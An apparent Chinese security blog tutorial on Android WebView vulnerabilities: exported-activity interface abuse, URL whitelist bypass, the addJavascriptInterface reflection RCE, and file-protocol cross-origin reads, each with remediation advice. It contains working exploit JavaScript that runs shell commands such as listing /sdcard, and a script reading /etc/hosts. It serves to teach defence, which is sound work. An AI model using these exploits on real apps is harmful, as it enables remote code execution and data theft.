文章目录

  • 前言
  • WebView基础
    • 极简Demo程序
    • JS调用Android
    • 加载远程HTML
  • 接口攻击场景
    • 漏洞示例程序
    • 本地攻击程序
    • url白名单校验
  • 代码执行漏洞
    • JAVA反射机制
    • 历史漏洞POC
    • 漏洞修复方案
  • 跨域访问漏洞
    • File 协议风险
    • 通用协议风险
    • 漏洞防御策略
  • 总结

前言

WebView 是 Android 系统中的原生控件,它是一个基于 webkit 引擎、展现 web 页面的控件,相当于增强版的内置浏览器。现在很多 App 里都内置了 Web 网页(Hybrid App),比如说很多电商平台,淘宝、京东、聚划算等等。Webview 的广泛使用也就导致了其成为攻击者关注的对象,本文将学习、讨论下 Webview 远程代码执行漏洞、跨域访问漏洞及其它攻击面。

WebView基础

WebView 控件功能强大,除了具有一般 View 的属性和设置外,还可以对 url 请求、页面加载、渲染、页面交互进行强大的处理。

极简Demo程序

在 App 工程 com.bwshen.test 中新建 WebviewTestActivity :

public class WebviewTestActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_webview_test);WebView webView = findViewById(R.id.web_view);webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl("https://www.baidu.com");}
}

页面布局如下:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"android:layout_width="match_parent"android:layout_height="match_parent" ><WebViewandroid:id="@+id/web_view"android:layout_width="match_parent"android:layout_height="match_parent" />
</LinearLayout>

注意 AndroidMainfest.xml 需要申请访问网络的权限:

<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

程序运行效果:

JS调用Android

在上面 App 的工程 assets 文件夹下新建 javascript.html:

<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>Carson</title><script>function callAndroid(){//由于对象映射,所以调用test对象等于调用Android映射的对象test.hello("Tr0e!");}</script>
</head>
<body><!--点击按钮则调用callAndroid函数--><button type="button" id="button1" onclick="callAndroid()">Click Me for fun!</button>
</body>
</html>

修改 WebviewTestActivity :

public class WebviewTestActivity extends AppCompatActivity {private static String TAG = "WebviewTestActivity";@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_webview_test);WebView webView = findViewById(R.id.web_view);//设置开启JS支持webView.getSettings().setJavaScriptEnabled(true);//往WebView中注入了一个Java对象,而这个Java对象的方法可以被js访问webView.addJavascriptInterface(new AndroidtoJs(), "test");webView.loadData("", "text/html", null);//加载asset文件夹下htmlwebView.loadUrl("file:///android_asset/javascript.html");}/*** 提供接口在Webview中供JS调用*/public class AndroidtoJs {// 定义JS需要调用的方法,被JS调用的方法必须加入@JavascriptInterface注解@JavascriptInterfacepublic void hello(String msg) {Log.e(TAG,"Hello," + msg);}}
}

来看看程序的运行效果:

加载远程HTML

以上是加载了本地的 html 页面,下面来做个有趣的测试,App 加载远程 html 页面并调用 Android App 提供的接口(即上文 AndroidtoJs 类的 hello 函数)。

首先在本地 PC 临时目录下创建 attack.html(页面内容同上文的 javascripts.html),然后本地起一个简易的 Python HttpServer:

然后简单修改 App 的 WebviewTestActivity,“远程”加载上述 attack.html 页面:

WebView webView = findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new AndroidtoJs(), "test");
webView.loadData("", "text/html", null);
// webView.loadUrl("file:///android_asset/javascript.html");
webView.loadUrl("http://192.168.0.110:8080/attack.html");

运行程序,看看效果:

远程 Web Server 也成功收到访问请求:

关于 WebView 组件与 JS 之间的其他用法,请参见 Android:你要的WebView与 JS 交互方式 都在这里了,本文不再展开。

接口攻击场景

以上 WebView 组件的使用看着一切正常,接下来来看下 WebView 对外暴露的接口可能存在的风险,以及攻击者可能的攻击手段。

漏洞示例程序

修改下 com.bwshen.test 应用的 WebviewTestActivity:

public class WebviewTestActivity extends AppCompatActivity {private static String TAG = "WebviewTestActivity";@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_webview_test);WebView webView = findViewById(R.id.web_view);webView.getSettings().setJavaScriptEnabled(true);webView.addJavascriptInterface(new AndroidtoJs(), "test");webView.loadData("", "text/html", null);Uri getUri = getIntent().getData();webView.loadUrl(String.valueOf(getUri));}/*** 提供接口在Webview中供JS调用*/public class AndroidtoJs {// 定义JS需要调用的方法,被JS调用的方法必须加入@JavascriptInterface注解@JavascriptInterfacepublic String getPassword() {return "admin123";}}
}

在 AndroidMainfest.xml 中声明组件对外导出:

<activity android:name=".webview.WebviewTestActivity" android:exported="true">
</activity>

本地攻击程序

在攻击程序 com.bwshen.attack 中编写如下攻击代码:

Button2.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View v) {Intent attackIntent = new Intent();attackIntent.setClassName("com.bwshen.test","com.bwshen.test.webview.WebviewTestActivity");attackIntent.setData(Uri.parse("http://192.168.0.110:8080/attack.html"));startActivity(attackIntent);}
});

同时修改 attack.html:

<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>WebView Atack</title><script>function callAndroid(){//由于对象映射,所以调用test对象等于调用Android映射的对象var password = test.getPassword();document.getElementById("getdata").innerHTML= password;}</script>
</head>
<body><p id="getdata">攻击获得的数据将显示在此……</p><!--点击按钮则调用callAndroid函数--><button type="button" id="button1" onclick="callAndroid()">Click Me for fun!</button>
</body>
</html>

页面效果如下:

运行攻击程序,效果如下:

点击按钮,成功通过 JS 调用受害者 App 的敏感接口 getPassword 获得敏感数据:

以上是 Local 本地攻击,可以借助 Deeplink 技术完全转换成远程攻击,参见Android 应用层组件安全测试基础实战技巧。

url白名单校验

综上可以看出,对于 WebView 组件,如果无脑调用 webView.loadUrl(uri) 加载外部可控的 URI,将导致 App 遭受外部攻击的风险。所以在加载外部传入的 URI 之前,应该进行白名单校验,对恶意、非法 URI 进行拦截。

但是需要注意的是,URI 白名单校验的方式经常存在被绕过的风险,比如以下代码:

protected void onCreate(Bundle savedInstanceState) {……Uri getUri = getIntent().getData();String inputUrl = String.valueOf(getUri);if (checkDomain(inputUrl)){webView.loadUrl(inputUrl);}
}private static boolean checkDomain(String inputUrl)
{String[] whiteList=new String[]{"site1.com","site2.com"};for (String whiteDomain:whiteList){if (inputUrl.indexOf(whiteDomain)>0)return true;}return  false;
}

绕过方法:这个校验逻辑错误比较低级,攻击者直接输入 http://www.hacker.com/poc.html?site1.com 就可以绕过了。因为 URL 中除了代表域名的字段外,还有路径、参数等和域名无关的字段,因此直接判断整个 URL 是不安全的。虽然直接用 indexOf 来判断用户输入的 URL 是否在域名白名单内这种错误看上去比较 low,但是现实中仍然有不少缺乏安全意识的开发人员在使用。

上面介绍的是最简单的一种 URL 白名单校验及其绕过方式,更多校验方式及绕过方法请参见:一文彻底搞懂安卓WebView白名单校验,本文不再展开。

代码执行漏洞

从上面的案例可以看到,JS 调用 Android 的其中一个方式是通过 addJavascriptInterface 接口进行对象映射:

//设置开启JS支持
webView.getSettings().setJavaScriptEnabled(true);
//往WebView中注入了一个Java对象,而这个Java对象的方法可以被js访问
webView.addJavascriptInterface(new AndroidtoJs(), "test");

而在 Android API 16 以及之前的版本,Webview 组件存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用 WebView.addJavascriptInterface 方法,远程攻击者可通过使用 Java Reflection API 利用该漏洞执行任意 Java 对象的方法,包括系统类(java.lang.Runtime 类),从而进行任意代码执行,如可以执行命令获取本地设备的 SD 卡中的文件等信息从而造成信息泄露。

【注意】WebView 任意代码执行漏洞有三种触发点

触发点 CVE编号 影响范围
WebView 中 addJavascriptInterface 接口 CVE-2012-6336 Android <= 4.1.2 (API level 16)
WebView 内置导出的 searchBoxJavaBridge_对象 CVE-2014-1939 Android <= 4.3.1
WebView 内置导出的 accessibility 和 accessibilityTraversalObject 对象 CVE-2014-7224 Android < 4.4

本文只讨论第一种—— addJavascriptInterface 接口,简单的说就是通过 addJavascriptInterface 给 WebView 加入一个 JavaScript 桥接接口,JavaScript 通过调用这个接口在低版本的 Android 上可以直接无限制地随意操作本地的 JAVA 接口。

漏洞触发前提

  1. 使用 addJavascriptInterface 方法注册可供 JavaScript 调用的 Java 对象;
  2. 使用 WebView 加载外部网页或者本地网页;
  3. Android 系统版本低于 4.2(Android API level 小于17)。

获取系统类的大致流程

  1. Android 中的对象有一公共的方法:getClass() ;
  2. 该方法可以获取到当前类的类型 Class;
  3. 该类有一关键的方法: Class.forName;
  4. 该方法可以加载一个类(可加载 java.lang.Runtime 类);
  5. 而该类是可以执行本地命令的。

JAVA反射机制

JAVA 反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为 Java 语言的反射机制。

反射,从这个“反”字可以看出与我们平时正常的使用逻辑肯定不一样,那么到底什么地方不一样了?想要了解“反”,就得先了解一下“正”的概念。在正常情况下,如果要使用一个类,必须要经过以下几个步骤:

  1. 使用 import 导入类所在的包(类:java.lang.Class);
  2. 通过关键字 new 进行类对象实例化(构造方法:java.lang.reflect.Constructor);
  3. 产生对象可以使用“对象.属性”进行类中属性的调用(属性:java.lang.reflect.Field);
  4. 通过“对象.方法()”调用类中的方法(方法:java.lang.reflect.Method)。

括号中的补充字体对应的是每个步骤对应反射中使用到的类,在反射中使用一个类并不需要导入类的所在包,只要知道类的完整路径就可以知道该类中的所有信息。关于 Java 反射机制的理解,请参见 Java-反射机制,本文也不展开。

直接来看一个简单的 Java 反射 Demo:

package com.Tr0e.test;import java.lang.reflect.Method;class Student {private String name;public String getName() {return name;}private void setName(String name) {this.name = name;}
}public class ReflectInvokeDemo {public static void main(String[] args) throws Exception {//获取Student类的Class对象Class<?> cls = Class.forName("com.Tr0e.test.Student");System.out.println("Class = " + cls.getName());//反射获取Student类的函数数组Method[] methods = cls.getDeclaredMethods();for (Method method:methods){System.out.println("method = " + method.getName());}// 实例化对象Object obj = cls.newInstance();//调用Student类的私有函数setName()方法,相当于Student对象.setName("Tr0e");methods[1].setAccessible(true);methods[1].invoke(obj, "Tr0e");//调用getName()方法并输出System.out.println("Hello," + methods[0].invoke(obj));}
}

程序运行结果如下所示:

Next,来看看如何借助上面的 Java 反射实现命令执行:

public class ReflectInvokeDemo {public static void main(String[] args) throws Exception {//获取Student类的Class对象Class<?> cls = Class.forName("com.Tr0e.test.Student");System.out.println("Class = " + cls.getName());//反射获取Student类的函数数组Method[] methods = cls.getDeclaredMethods();for (Method method:methods){System.out.println("method = " + method.getName());}try{Class c = cls.forName("java.lang.Runtime");Method m = c.getMethod("getRuntime", null);m.setAccessible(true);//第一个参数为类的实例,第二个参数为相应函数中的参数Object obj = m.invoke(null,null);Class c2 = obj.getClass();String array = "cmd.exe /k start calc";//获得该类中名称为exec,参数类型为String的方法Method n = c2.getMethod("exec", array.getClass());//调用方法nn.invoke(obj, new Object[]{array});}catch (Throwable e){System.out.println(e.toString());}}
}

程序运行结果,可以看到成功借助反射机制执行命令运行了本地计算器:

有了以上的基础,我们知道,拿到 JAVA 对象之后,可以获取类对象,然后通过反射调用任意对象的任意方法。而在我们前面的 WebView 漏洞代码中,由于访问的页面是不可控的,所以在访问危险页面时,如果页面中的 js包含危险调用,如:

function execute(cmd){//jsObject是导出的Objectreturn window.jsObject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
}

在 JS 中获得了 Webview 中导出的 Object,只要通过上述代码就可以进行反射并 RCE。早期的 Android 版本没有对可以访问的方法作限制,这就是该漏洞的根本成因。

历史漏洞POC

在检测某个 apk 是否包含此漏洞时,我们只需要让它访问一个页面,该页面中的 js 遍历其 windows 对象然后判定 getClass 函数是否存在即可。

POC 示例代码如下:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>WebView漏洞检测--捉虫猎手</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">
</head>
<body>
<p>
提示:如何检测出“accessibility”和 “accessibilityTraversal”接口----设置-辅助功能-开启系统或第三方辅助服务<br><br>
<b><font color=red>如果当前app存在漏洞,将会在页面中输出存在漏洞的接口方便程序员做出修改:</font></b>
</p>
<script type="text/javascript">
function check()
{//遍历window对象,的是为了找到包含getClass()的对象//因为Android映射的JS对象也在window中,所以肯定会遍历到for (var obj in window) {try {if ("getClass" in window[obj]) {try{window[obj].getClass();document.write('<span style="color:red">'+obj+'</span>');document.write('<br />');}catch(e){}   }} catch(e) {}}
}
check();
</script>
</body>
</html>

效果如下:

进一步的 EXP 程序(执行命令):

 <script type="text/javascript">var i=0;function getContents(inputStream){var contents = ""+i;var b = inputStream.read();var i = 1;while(b != -1) {var bString = String.fromCharCode(b);contents += bString;contents += "\n"b = inputStream.read();}i=i+1;return contents;}function execute(cmdArgs){for (var obj in window) {console.log(obj);if ("getClass" in window[obj]) {alert(obj);return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);}}} var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]); document.write(getContents(res.getInputStream()));
</script>

让 app 访问该页面,结果如下:

漏洞修复方案

1、使用 API Level 高于 16 的 Android 系统

出于安全考虑,为了防止 Java 层的函数被随便调用,Google 在 4.2 版本之后,规定允许被调用的函数必须以 @JavascriptInterface 进行注解,所以如果某应用依赖的 API Level 为 17 或者以上,就不会受该问题的影响(注: Android 4.2 中 API Level 小于 17 的应用也会受影响。Google 官方文档使用示例如下:

class JsObject {@JavascriptInterfacepublic String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");

【Question】 既然 API Level 高于 16 的 Android 系统上已限制了 Java 层函数的调用,那是否可以随意给 Java 层函数添加 @JavascriptInterface

答案那自然是不行的……从第一部分的 Webview 示例代码中已经可以看出,如果 Webview 对外导出且加载从外部传递进来的 URL,攻击者完全可以传递恶意的 HTML 页面来调用受害者 App 供 JS 调用的 Java 接口函数(添加了@JavascriptInterface 注解的函数),如果这部分函数包含敏感功能、数据,那么就相当于开闸放水了……

2、 API Level 小于 17 的 Android 系统

建议不要使用 addJavascriptInterface 接口,以免带来不必要的安全隐患,如果一定要使用 addJavascriptInterface 接口:

  • 如果使用 HTTPS 协议加载 URL,应进行证书校验防止访问的页面被篡改挂马;
  • 如果使用 HTTP 协议加载 URL,应进行白名单过滤、完整性校验等防止访问的页面被篡改;
  • 如果加载本地 Html,应将 html 文件内置在 APK 中,以及进行对 html 页面完整性的校验。

跨域访问漏洞

2018 年国家信息安全漏洞共享平台(CNVD)发布关于Android平台 WebView 控件存在跨域访问高危漏洞的安全公告 (CNVD-2017-36682)。

漏洞产生的原因是在 Android 应用中,WebView 开启了 file 域访问,且允许 file 域对 http 域进行访问,同时未对 file 域的路径进行严格限制所致。攻击者通过 URL Scheme 的方式,可远程打开并加载恶意 HTML 文件,远程获取 APP 中包括用户登录凭证在内的所有本地敏感数据。

漏洞触发前提

  1. WebView 中 setAllowFileAccessFromFileURLssetAllowUniversalAccessFromFileURLsAPI 配置为 true(Android 4.1 版本之前这两个 API 默认是 true,需要显式设置为 false);
  2. WebView 可以直接被外部调用,并能够加载外部可控的 HTML 文件。

漏洞影响范围

漏洞影响使用 WebView 控件,开启 file 域访问并且未按安全策略开发的 Android 应用APP。CNVD 对相关漏洞综合评级为“高危”。

漏洞相关函数

WebView 中 getSettings 类的以下几个方法会对 WebView 安全性产生影响:

方法 作用/风险 默认策略
setAllowFileAccess(true); 设置是否允许 WebView 使用 File 协议 默认设置为 true
setAllowFileAccessFromFileURLs(true); 设置是否允许通过 file url 加载的 Js 代码读取其他的本地文件 在 Android 4.1 后默认禁止
setAllowUniversalAccessFromFileURLs(true); 设置是否允许通过 file url 加载的 Javascript 可以访问其他的源 (包括http、https等源) 在 Android 4.1 后默认禁止
setJavaScriptEnabled(true); 设置是否允许 WebView 使用 JavaScript 默认不允许

File 协议风险

来看看设置 setAllowFileAccess(true) 存在的风险。

public class WebviewTestActivity extends AppCompatActivity {private static String TAG = "WebviewTestActivity";@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_webview_test);WebView webView = findViewById(R.id.web_view);//设置是否允许 WebView 使用 File 协议webView.getSettings().setAllowFileAccess(true);//设置是否允许 WebView 使用 JavaScriptwebView.getSettings().setJavaScriptEnabled(true);webView.loadUrl("file:///data/local/tmp/adbapp.html");}
}

编辑 dbapp.html 如下:

<script>
function loadXMLDoc()
{var arm = "file:///etc/hosts";var xmlhttp;if (window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}xmlhttp.onreadystatechange=function(){//alert("status is"+xmlhttp.status);if (xmlhttp.readyState==4){console.log(xmlhttp.responseText);}}xmlhttp.open("GET",arm);xmlhttp.send(null);
}
loadXMLDoc();
</script>

运行程序,报错如下(has been blocked by CORS policy):

2022-06-03 07:41:28.568 12969-12969/com.bwshen.test I/chromium: [INFO:CONSOLE(19)] "Access to XMLHttpRequest at 'file:///etc/hosts' from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported for protocol schemes: http, data, chrome, https.", source: file:///data/local/tmp/dbapp.html (19)
2022-06-03 07:41:28.568 12969-12969/com.bwshen.test I/chromium: [INFO:CONSOLE(15)] "", source: file:///data/local/tmp/dbapp.html (15)

添加如下配置项:

//设置是否允许通过 file url 加载的 Js 代码读取其他的本地文件
webView.getSettings().setAllowFileAccessFromFileURLs(true);

重新运行程序,已成功加载本地 html 文件并读取 /etc/hosts 文件:

通用协议风险

用同样的方式测试 setAllowUniversalAccessFromFileURLs 的值,当 setAllowUniversalAccessFromFileURLs 的值为 true 时,可以利用 js 来访问恶意网站(HTTP 或 HTTPS)的链接。

将 dbapp.html 文件改成访问 https://www.freebuf.com:

运行程序,效果如下图:

如果不设置 setAllowUniversalAccessFromFileURLs 的值为 true,则无法正常加载 HTTPS 页面:

漏洞防御策略

  1. 检查应用是否使用了 webview 控件;
  2. 避免 App 内部的 WebView 被不信任的第三方调用,排查内置 WebView 的 Activity 是否被导出、必须导出的 Activity 是否会通过参数传递调起内置的WebView等;
  3. file 域访问为非功能需求时,手动配置 setAllowFileAccessFromFileURLs 或 setAllowUniversalAccessFromFileURLs 两个 API 为 false(Android 4.1 版本之前这两个 API 默认是 true,需要显式设置为 false);

若需要开启 file 域访问,则设置 file 路径的白名单,严格控制 file 域的访问范围,具体如下:

  • 固定不变的 HTML 文件可以放在 assets 或 res 目录下,file:///android_assetfile:///android_res 在不开启 API 的情况下也可以访问;
  • 可能会更新的 HTML 文件放在 /data/data/(app) 目录下,避免被第三方替换或修改;
  • 对 file 域请求做白名单限制时,需要对“…/…/”特殊情况进行处理,避免白名单被绕过。

最终解决方案总结:

1)对于不需要使用 file 协议的应用,禁用 file 协议:

// 禁用 file 协议;
setAllowFileAccess(false);
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);

2)对于需要使用 file 协议的应用,禁止 file 协议加载 JavaScript:

// 需要使用 file 协议时
setAllowFileAccess(true);
// 禁止 file 协议加载 JavaScript
if (url.startsWith("file://") {setJavaScriptEnabled(false);
} else {setJavaScriptEnabled(true);
}

总结

本文大体总结了 Android WebView 的历史高危漏洞及其当下的攻击面(接口非法访问),更多的攻击面可以参见——WebView组件安全。开发人员在使用 WebView 时应做好组件权限控制(尽量设置不可导出)、 URL 白名单校验、禁止危险协议等。

本文参考文章:

  1. 深入浅出JSBridge:从原理到使用;
  2. Android:你要的WebView与JS交互方式都在这里了;
  3. Android:你不知道的 WebView 使用漏洞;
  4. WebView远程代码执行漏洞学习并复现;
  5. Fiddler插件编写之WebView远程代码执行检测;

Android Webview历史高危漏洞与攻击面分析相关推荐

  1. Android APP代码执行历史漏洞与攻击面分析

    文章目录 前言 错误的反射调用 漏洞根源分析 漏洞防御建议 反射调用思考 CVE-2020-8913 漏洞根源分析 动态加载Dex "寄生兽"漏洞 TikTok APP漏洞 代码执 ...

  2. 安天移动安全:Janus高危漏洞深度分析

    一.背景介绍 近日,Android平台被爆出"核弹级"漏洞Janus(CVE-2017-13156),该漏洞允许攻击者任意修改Android应用中的代码,而不会影响其签名. 众所周 ...

  3. Android 爆高危漏洞,华为小米皆中招;第三代苹果 AirPods 来了;SQLite 3.30.0 发布 | 极客头条...

    快来收听极客头条音频版吧,智能播报由标贝科技提供技术支持. 「CSDN 极客头条」,是从 CSDN 网站延伸至官方微信公众号的特别栏目,专注于一天业界事报道.风里雨里,我们将每天为朋友们,播报最新鲜有 ...

  4. Android WebView 安全漏洞

    近期国内爆出的 Android WebView 安全漏洞会导致大量应用成为黑客管道.漏洞危及超过 90% 的安卓手机,当用户通过存在漏洞的 APP 打开挂马网页后,可被大规模利用,包括远程操控手机窃取 ...

  5. android WebView详解,常见漏洞详解和安全源码(下)

    上篇博客主要分析了 WebView 的详细使用,这篇来分析 WebView 的常见漏洞和使用的坑.  上篇:android WebView详解,常见漏洞详解和安全源码(上)  转载请注明出处:http ...

  6. Android WebView 安全漏洞解决方案

    最近发现公司的应用的WebView存在安全漏洞,找到了一些解决方案和大家一起分享一下,有什么理解不对的地方请多多指教.平时比较懒惰,有写博客的想法,但是懒动手,今天下了狠心想写写东西.WebView我 ...

  7. android WebView详解,常见漏洞详解和安全源码

    这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析. 转载请注明出处:blog.csdn.net/self_study ...

  8. Android Webview 漏洞复现

    Android Webview 漏洞复现 前言 触发条件 漏洞原理 漏洞复现 1. 运行环境 2.1 webview介绍 2.2 漏洞核心代码 2.3 JS攻击核心代码 2.4 效果展示 总结 前言 ...

  9. Java高危漏洞被再度利用 可攻击最新版本服务器

    2019独角兽企业重金招聘Python工程师标准>>> 安全研究人员警告称,甲骨文在2013年发布的一个关键 Java 漏洞更新是无效的,黑客可以轻松绕过.这使得此Java高危漏洞可 ...

最新文章

  1. 标准h5的定位_H5中的定位
  2. 破解phpstorm,webstorm ,pycharm ,intellij IDEA
  3. Object component的各种标识符
  4. php 各种进制表示,php各种进制的转换
  5. anchor free 目标检测_《目标检测》系列之二:目标检测中的Anchor机制回顾
  6. 布局new操作符引发的有关析构函数的探索与总结
  7. 证明独立集合问题是NP-complete
  8. 微软工程师主讲的SqlServer2005视频教程
  9. cisco CEF的一点概述
  10. 计算机是如何工作的?
  11. C语言社区水电费管理系统,C语言水电费管理系统.doc
  12. 001 - TOTP 和 Google 身份验证器
  13. Less使用语法(详细)
  14. 开弓没有回头箭,遭遇跳槽四大后悔事件,怎么办?
  15. java海贼王秘宝传说下载_我的世界1.7.10海贼王整合包
  16. 告别传统IT 信天通信助推教育行业云化变革
  17. C++ 获取个位数十位数等
  18. Linux服务器域名配置
  19. iPh oto的删除动画
  20. 投名状Mtv视频在线播放

热门文章

  1. java.lang.ClassNotFoundException: com.fasterxml.classmate.TypeResolver
  2. 安卓分屏神器_8款App打造一个学术型iPad,这才是它秒杀安卓平板的杀手锏
  3. Stata教程(五)----操作方式
  4. 如何禁用笔记本电脑自带的键盘和触控板以及如何恢复
  5. Django之爱鲜蜂项目开发 day01 (一)
  6. Macromedia Captivate
  7. 毕业等于失业,00后的人间清醒,职业规划整得明明白白......
  8. CreateJS-TweenJS文档翻译
  9. 【SSM直击大厂】第十章:Spring AOP面向切面编程
  10. Nodejs知识点总结及个人学习心得